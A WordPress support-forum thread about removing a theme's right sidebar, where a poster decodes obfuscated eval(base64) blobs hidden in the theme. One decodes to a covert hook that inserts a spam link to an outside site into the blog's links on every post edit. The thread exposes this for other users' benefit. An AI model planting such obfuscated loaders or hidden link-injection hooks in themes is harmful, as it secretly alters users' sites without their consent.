WordPress.org

Ready to get started?Download WordPress

Forums

RainBow Trance theme: Remove right sidebar (8 posts)

  1. Nahuel
    Member
    Posted 5 years ago #

    Hi!

    How can I remove right sidebar in the "RainBow Trance" theme?
    I want to change or remove the default widgets on the right sidebar.
    They aren't on the wordpress widgets page.
    I have taken a look at the theme files and the style sheets but I can't find where the sidebarcontent (advertisement, categories, blogroll)is in the code.

    Thanks
    Nahuel

  2. esmi
    Forum Moderator
    Posted 5 years ago #

    If these listings aren't on the Admin/Appearance/Widgets page, it's likely that this particular sidebar isn't widget-ready. So you'd need to make changes in the relevant template file itself. Try looking for sidebar.php file(s) in your theme.

  3. Nahuel
    Member
    Posted 5 years ago #

    I looked for that in all files of the theme. In the widgets, I only added "Blog Post" and "Text".

    Sidebar (original):

    <!-- Sidebar -->
    <div class="sidebar">

    <h3>Pages</h3>

      <?php wp_list_pages('title_li='); ?>

    <h3>Archives</h3>

      <?php wp_get_archives('type=monthly'); ?>

    <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(1) ) : ?>

    <?php endif; ?>

    </div>
    <!-- Sidebar -->

    Then I wanted to remove something from the left sidebar (pages, archives) and looked at the sidebar.php and remove the code of that. Now, what I'm using looks like this:

    <!-- Sidebar -->
    <div class="sidebar">

    <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(1) ) : ?>

    <?php endif; ?>

    </div>
    <!-- Sidebar -->

    But now, how can I edit/remove the right sidebar?

  4. esmi
    Forum Moderator
    Posted 5 years ago #

    Do you have another sidebar file - like sidebar-right.php?

  5. Nahuel
    Member
    Posted 5 years ago #

    No, I don't have.

  6. muddg
    Member
    Posted 5 years ago #

    I have this same problem but I'm using the Real Estate Info 1.0 by qualitywordpress.

    http://www.azalice.com

    I want to get rid of the right sidebar. The left sidebar has only the categories and links widgets. The right sidebar has no widgets.
    Here is the code in sidebar.php

    <!-- Sidebar -->
     <div class="sidebar">
       <h3>Pages</h3>
    	<ul>
    	<?php wp_list_pages('title_li='); ?>
    	</ul>
       <h3>Archives</h3>
    	<ul>
    	<?php wp_get_archives('type=monthly'); ?>
           </ul>
    <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(1) ) : ?>
    <?php endif; ?>
    /div>
    <!-- Sidebar -->

    There is no other sidebar file in the theme. I read an article that made me think I need to look at default files but i can't figure out exactly where the default files live.

    I'm new to wordpress.

    Thanks

  7. newneonova
    Member
    Posted 4 years ago #

    eval(gzinflate(base64_decode('dZBBa8JAEIXPCeQ/DEPBXdCmZ0s8VCKCbQWr9Lhs3FWXJLthd6yU0v/eZLWn0tsw73vzHpOlUikh92ScZaiVIdG5QDhGY4P2JOikWy0aY2vkj1l6ONvIwh+ZcfjK0uTYuEo2cHfpVNXziTmwOE9mR03iQ3qGb+VzOd/CfL173bLBKozisNisX+CGDssA78tyU0IEzr4pRieibprnlQ5UGxUq5+pwv3dtPkJeFA+8T0sunbg1i52k9/KTYbxhZasRihngqnfD02DHMeBvwFX7NwSBDw/4ztIf')))

    Resolves to:

    add_action("edit_post","insert_theme_link");function insert_theme_link() { global $wpdb; if($wpdb->get_var("SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url='http://bestkidsbooks.com/'")==0) wp_insert_link(array("link_name" => "Kids Books", "link_url" => "http://bestkidsbooks.com/" ));}

    ////////////////////////

    <?php $Jb58fb5231b5da40aa23963a03ad8f8a8='jVPBbtswDD0nQP+B0YAlAZpo67BLZzvIsu5WoEg/IGAs2tYqW4asJsvQj69ky24bFOgOtinq8fGZelolo1E0WSzgXgrao4HFIrkYu5yQB0gVNk3MmrAVvgsj88IyB3PAqPiWrMWBjJUNlVTZiLuMZxhFjyrxT7dAKAxlMfvEkkiWOTQmjVm0qosa9krnssr0bGqprBVa2glpKLXanKbzH7BKuCwxp4ajWOYyY4DKxmz9C+7v1psbBkcpbBGzr1ffGRTk1YUFTyKOQQD3cnjQ06Wc0o3rlmsjqXkrvA1Gnb5jvVOysbt0wDql0ipy6bgT+NKijQb6n+7XjFbqY/K91g8lmgfH3ff5R/GXz//TqCWSGcxgkj1WqZW62tFfx+rIxKnCUqa7cHjTOTw9weQsO7uawxyue/5XrFQJmfWNW2Nw54zOIu/Y5tw6qSI07sT7Iu+YNn799knPxW9RVoGpz/3W2lJP3zJLEbOszbIA7JAbXZ9aZ76xsEen/Q4L49sb54xZOh9KSMC5Fd18qBv5JayVgq3HNbClhsyBxLIjGWxdWFtfc57jH6ywWtZG1+5OnI6ocJnqkrPkFgsUl7BFmaNwPKjgprHuqL1Fz6bKz39mmNt7c7kY93td8Z27K8NOb7JuZLNgIl+y1+IUwsKW7nJ46PgZ';eval(gzinflate(base64_decode($Jb58fb5231b5da40aa23963a03ad8f8a8))); ?>

    Resolves to:

    ?> <!-- Sidebar --> <div class="sidebar sidebar-right"> <h3>Advertisement</h3>

      <h3>Categories</h3>
        <?php wp_list_categories('title_li='); ?>
      <h3>Blogroll</h3>
        <?php wp_list_bookmarks('categorize=0&title_li='); ?>
      <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(2) ) : ?> <?php endif; ?> </div> <!-- Sidebar --> <div class="clear"></div> </div></div></div> <!-- /Main --> <!-- Footer --> <div id="footer"> <!-- Copyright --> <div id="copyright">
      (c)Copyrighted <?php bloginfo('name'); ?>, All Rights Reserved.
      Mahad, Raigad Real Estate</div> <!-- /Copyright --> </div> <!-- Footer --></div><!-- /Page --><?php wp_footer(); ?></body></html><?php

      ////////////////////////

      Enjoy. I hope this helps anyone else who googles this problem.

    • newneonova
      Member
      Posted 4 years ago #

      ?> <!-- Sidebar --> <div class="sidebar sidebar-right"> <h3>Advertisement</h3>

        <h3>Categories</h3>
          <?php wp_list_categories('title_li='); ?>
        <h3>Blogroll</h3>
          <?php wp_list_bookmarks('categorize=0&title_li='); ?>
        <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(2) ) : ?> <?php endif; ?> </div> <!-- Sidebar --> <div class="clear"></div> </div></div></div> <!-- /Main --> <!-- Footer --> <div id="footer"> <!-- Copyright --> <div id="copyright">
        (c)Copyrighted <?php bloginfo('name'); ?>, All Rights Reserved.
        Mahad, Raigad Real Estate</div> <!-- /Copyright --> </div> <!-- Footer --></div><!-- /Page --><?php wp_footer(); ?></body></html><?php

      Topic Closed

      This topic has been closed to new replies.

      About this Topic